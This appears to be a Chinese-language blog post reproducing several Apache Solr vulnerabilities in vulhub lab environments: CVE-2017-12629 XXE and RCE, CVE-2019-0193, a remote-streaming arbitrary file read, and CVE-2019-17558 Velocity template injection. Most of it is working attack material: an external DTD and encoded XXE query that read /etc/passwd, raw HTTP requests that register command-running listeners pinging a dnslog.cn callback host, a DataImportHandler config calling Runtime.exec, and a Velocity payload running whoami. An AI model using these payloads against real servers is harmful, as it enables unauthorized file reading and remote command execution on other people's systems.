# solr 是什么
Solr 是开源的,基于 Lucene Java 的搜索服务器。
易于加入到 Web 应用程序中,会生成基于 HTTP 的管理界面。
后台管理界面 Dashboard 仪表盘中,可查看当前 Solr 的版本信息。
(概念详解,移步传送门)
# 环境
漏洞复现环境均使用 vulhub 中的环境
# CVE-2017-12629-XXE
# 影响版本
Apache Solr < 7.1
Apache Lucene < 7.1
# 复现过程
启动环境后打开管理界面:http://192.168.77.128:8983/solr/#/
solr-spec 版本:7.0.1,lucene-spec 版本:7.0.1,符合漏洞要求
# 利用外部实体读取敏感文件信息
- 开一个 web 服务,在下面创建一个 1.dtd 文件,文件内容如下
1 2
| <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
|
- 读取 Linux 下 /etc/passwd 文件信息
引用外部实体
payload: http://192.168.77.128:8983/solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.77.128%2f1.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser
URL 解码后:
http://192.168.77.128:8983/solr/demo/select?&q=<?xml+version="1.0"+?><!DOCTYPE+root[<!ENTITY+%+ext+SYSTEM+"http://192.168.77.128/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser
执行 payload,获取文件信息成功
# 本地 DTD 读取文件
XXE 之利用本地 DTD 进行文件读取
# CVE-2017-12629-RCE
# 影响版本
Apache Solr < 7.1
Apache Lucene < 7.1
# 复现过程
触发命令执行的事件有两种:postCommit 和 newSearcher
# 使用 newSearcher
其中 demo 为存在的 core 名称
数据包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST /solr/demo/config HTTP/1.1 Host: 192.168.77.128:8983 Connection: close Content-Type: application/json Content-Length: 178
{ "add-listener" : { "event":"newSearcher", "name":"newlistener1", "class":"solr.RunExecutableListener", "exe":"ping", "dir":"/usr/bin/", "args":["3pqsrm.dnslog.cn"] } }
|
# 使用 postCommit
数据包 1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST /solr/demo/config HTTP/1.1 Host: 192.168.77.128:8983 Connection: close Content-Type: application/json Content-Length: 177
{ "add-listener" : { "event":"postCommit", "name":"newlistener3", "class":"solr.RunExecutableListener", "exe":"ping", "dir":"/usr/bin/", "args":["3pqsrm.dnslog.cn"] } }
|
发送该请求后一直没有返回数据,取消重发会回显该 name 已经存在,所以发送第二个数据包
数据包 2 (数据随便输):
1 2 3 4 5 6 7 8 9 10 11
| POST /solr/demo/update HTTP/1.1 Host: 192.168.77.128:8983 Connection: close Content-Type: application/json Content-Length: 17
[{"id":"test" }]
|
更新后发现两条记录都在(之前因为没有返回数据又试了一次)
# CVE-2019-0193
# 影响版本
Apache solr < 8.2.0
# 复现过程
在 Apache solr 的可选模块 DatalmportHandler 中的 DIH 配置是可以包含脚本,因此存在安全隐患,在 apache solr < 8.2.0 版本之前 DIH 配置中 dataconfig 可以被用户控制
vulhub 环境下,进入后会让我们新建一个 core
我们需要在服务器中新建,这里新建会报错找不到配置文件
新建 test core 命令
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
刷新页面即可看见新建的 core
根据以下步骤进行代码执行
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <dataConfig> <dataSource type="URLDataSource"/> <script><![CDATA[ function poc(){ java.lang.Runtime.getRuntime().exec("ping 0ytihf.dnslog.cn"); } ]]></script> <document> <entity name="stackoverflow" url="https://stackoverflow.com/feeds/tag/solr" processor="XPathEntityProcessor" forEach="/feed" transformer="script:poc" /> </document> </dataConfig>
|
执行成功后,上方会出现绿色修勾勾
命令执行成功
# Remote-Streaming-Fileread(任意文件读取)
# 复现过程
- 获取 cores
1 2 3 4 5 6 7 8 9 10 11 12 13
| GET /solr/admin/cores?_=1637649371526&show=schema&wt=json HTTP/1.1 Host: 192.168.8.128:8983 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.8.128:8983/solr/ X-Requested-With: XMLHttpRequest DNT: 1 Connection: close
|
存在的 core 名为 demo
- 修改 demo 的配置,开启 RemoteStreaming
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /solr/demo/config?_=1637649371526&show=schema&wt=json HTTP/1.1 Host: 192.168.8.128:8983 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.8.128:8983/solr/ X-Requested-With: XMLHttpRequest DNT: 1 Connection: close Content-Length: 82
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
|
当出现以下信息时,表示漏洞可能存在:
This response format is experimental. It is likely to change in the future
3. 读取敏感文件
数据包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| GET /solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd HTTP/1.1 Host: 192.168.8.128:8983 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.8.128:8983/solr/ X-Requested-With: XMLHttpRequest DNT: 1 Connection: close Content-Length: 0
|
读取成功
# CVE-2019-17558
# 影响版本
5.0.0 <=Apache Solr<= 8.3.1
# 漏洞复现
用户可以注入自定义模板,通过 Velocity 模板语言执行任意命令
- 获取 core
当前存在的 core 为 demo
- 修改 demo 的配置,开启 params.resource.loader.enabled 配置
数据包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| POST /solr/demo/config?_=1637649371526&show=schema&wt=json HTTP/1.1 Host: 192.168.8.128:8983 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.8.128:8983/solr/ X-Requested-With: XMLHttpRequest DNT: 1 Connection: close Content-Length: 261 Content-Type:application/json
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
|
3. Velocity 模板代码注入
数据包:
1 2 3 4 5 6 7 8 9 10 11 12 13
| GET /solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: 192.168.8.128:8983 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.8.128:8983/solr/ X-Requested-With: XMLHttpRequest DNT: 1 Connection: close
|
命令执行成功
# 传送门:
搜索引擎 Solr 介绍
Lucene 就是这么简单
cve-2017-12629 apache solr xxe & rce 漏洞分析(6)
Copyright ©milkii0